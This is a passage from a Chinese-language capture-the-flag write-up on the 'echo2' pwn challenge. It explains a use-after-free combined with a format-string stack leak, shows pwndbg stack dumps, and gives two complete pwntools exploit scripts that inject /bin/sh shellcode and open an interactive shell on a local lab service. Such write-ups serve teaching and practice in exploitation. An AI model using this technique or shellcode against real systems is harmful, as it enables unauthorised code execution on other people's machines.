  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>造成 UAF，而 echo3 有一个 malloc 0x20，这里比 o 的 0x28 小，所以会复用，并且可写。所以最终调用 echo3，写入垃圾字符加 shell 地址到 s 里面，在调用后面的 o(4)的时候，就会调用 s(4)。</p>
<p>所以利用链是：</p>
<ol>
<li>按 4，执行 cleanup</li>
<li>按 n，不退出程序</li>
<li>按 3，覆写 o 的堆空间</li>
<li>按 1或 2，调用 o</li>
</ol>
<p>如果连续两次 n 还会 double free，这里echo2 是格式化字符串漏洞，可以打印栈地址。</p>
<p>对于格式化字符串，我觉得 ctf-wiki 写的不好，这里推荐： <a
  href="https://zhuanlan.zhihu.com/p/465896542" rel="nofollow noopener noreferrer" target="_blank"
  >CTFer成长日记11：格式化字符串漏洞的原理与利用<span style="user-select:none"> ↗</span></a
>
</p>
<p>调试如下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">输入：AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">pwndbg&gt; 
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">AAAAAAAA0x6032d10xfbad22880x7ffff7d1ba910x6032ef(nil)0x41414141414141410x70257025702570250x70257025702570250xa7025702570250x7fffffffe7200x400acb
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>可以看到输入的值在第 6 个位置，我一直以为输入<code>%6$x</code>就能打印当前字符串的地址，然后根据字符串在栈里的偏移计算 rbp，实际上不是的，这个只能打印字面量的 ASCII，就像 41414141 一样，我们要加长 %p，直到打印出 rbp 或者其他栈上的值，一般是 0x7ffff 开头，上面可以看到是<code>0x7fffffffe720</code>，第 10 个。由于题目是 x64，所以前 6 个不需要在意那是寄存器上的值，gdb 里也能看到（输出的上一个调试帧）。后面出现了 0x7ffff 就打印栈：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; stack 30
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">00:0000│ rsp 0x7fffffffe6c0 ◂— &#39;AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p\n&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">01:0008│-018 0x7fffffffe6c8 ◂— &#39;%p%p%p%p%p%p%p%p%p%p%p\n&#39;
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">02:0010│-010 0x7fffffffe6d0 ◂— &#39;%p%p%p%p%p%p%p\n&#39;
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">03:0018│-008 0x7fffffffe6d8 ◂— 0xa702570257025 /* &#39;%p%p%p\n&#39; */
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">04:0020│ rbp 0x7fffffffe6e0 —▸ 0x7fffffffe720 —▸ 0x7fffffffe7c0 —▸ 0x7fffffffe820 ◂— 0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">05:0028│+008 0x7fffffffe6e8 —▸ 0x400acb (main+443) ◂— jmp main+248
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">06:0030│+010 0x7fffffffe6f0 ◂— 0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">07:0038│+018 0x7fffffffe6f8 ◂— 0x200000000
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">08:0040│+020 0x7fffffffe700 ◂— 0x6c6c656873 /* &#39;shell&#39; */
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>可以看出，存储名字的地方是<code>0x7fffffffe700</code>，我们能泄露的地址是<code>0x7fffffffe720</code>，所以减去 0x20 即可。</p>
<p>堆复用，我们是调用 echo2 里面的 o(3)，所以往 s 里面填充三个字长垃圾，在第四位填充我们的 shellcode 地址。</p>
<p>对了，这题不能远程，要把脚本放在机器上连接</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">shellcode</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># io = process(&#39;./echo2&#39;)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;0&#39;</span><span class="p">,</span><span class="mi">9011</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;name? :&#39;</span><span class="p">,</span><span class="n">shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;%10$llx&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">shell_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x20</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">shell_addr</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;n&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="mi">24</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">shell_addr</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">&#39;2&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>在/tmp/echo2 目录里面发现了一个脚本，也能攻击成功，但是写得好复杂：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">enum</span> <span class="kn">import</span> <span class="n">Enum</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">LIBC_OFFSET</span> <span class="o">=</span> <span class="mh">0x29d90</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">JUMP_ADDRESS</span> <span class="o">=</span> <span class="mh">0x400794</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">class</span> <span class="nc">Path</span><span class="p">(</span><span class="n">Enum</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">FSB</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">UAF</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;3&#34;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">FALSE_EXIT</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;4&#34;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1"># binary = ELF(&#34;/home/echo2/echo2&#34;)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;/lib/x86_64-linux-gnu/libc.so.6&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;0&#34;</span><span class="p">,</span> <span class="mi">9011</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="k">def</span> <span class="nf">welcome</span><span class="p">(</span><span class="n">name</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;hey, what&#39;s your name? : &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="k">def</span> <span class="nf">choose_path</span><span class="p">(</span><span class="n">choice</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">choice</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="k">def</span> <span class="nf">fsb_echo</span><span class="p">(</span><span class="n">payload</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">choose_path</span><span class="p">(</span><span class="n">Path</span><span class="o">.</span><span class="n">FSB</span><span class="o">.</span><span class="n">value</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">return</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="k">def</span> <span class="nf">uaf_echo</span><span class="p">(</span><span class="n">payload</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="n">choose_path</span><span class="p">(</span><span class="n">Path</span><span class="o">.</span><span class="n">UAF</span><span class="o">.</span><span class="n">value</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="k">def</span> <span class="nf">false_exit</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">    <span class="n">choose_path</span><span class="p">(</span><span class="n">Path</span><span class="o">.</span><span class="n">FALSE_EXIT</span><span class="o">.</span><span class="n">value</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Are you sure you want to exit? (y/n)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;n&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">
</span></span><span class="line"><span class="ln">44</span><span class="cl">
</span></span><span class="line"><span class="ln">45</span><span class="cl">
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="n">shellcode</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="n">welcome</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="c1"># Stage 1 -&gt; libc leak</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="n">stack_leak</span> <span class="o">=</span> <span class="n">fsb_echo</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;%10$p.%19$p.%20$p.%21$p.%22$p&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;.&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="n">stack_leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">stack_leak</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="n">shellcode_location</span> <span class="o">=</span> <span class="n">stack_leak</span><span class="o">-</span><span class="mh">0x20</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">
</span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Stack leak: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">stack_leak</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;shellcode is at : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">shellcode_location</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">
</span></span><span class="line"><span class="ln">58</span><span class="cl">
</span></span><span class="line"><span class="ln">59</span><span class="cl"><span class="c1"># Stage 2 -&gt; RCE</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="c1"># free our main chunk...</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl"><span class="n">false_exit</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">
</span></span><span class="line"><span class="ln">63</span><span class="cl"><span class="c1"># we reuse the same chunk (UAF)</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;Q&#34;</span><span class="o">*</span><span class="mi">24</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">shellcode_location</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="n">uaf_echo</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">
</span></span><span class="line"><span class="ln">67</span><span class="cl"><span class="n">choose_path</span><span class="p">(</span><span class="n">Path</span><span class="o">.</span><span class="n">UAF</span><span class="o">.</span><span class="n">value</span><span class="p">)</span> <span class="c1"># &lt;-- Trigger the bug</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">
</span></span><span class="line"><span class="ln">69</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
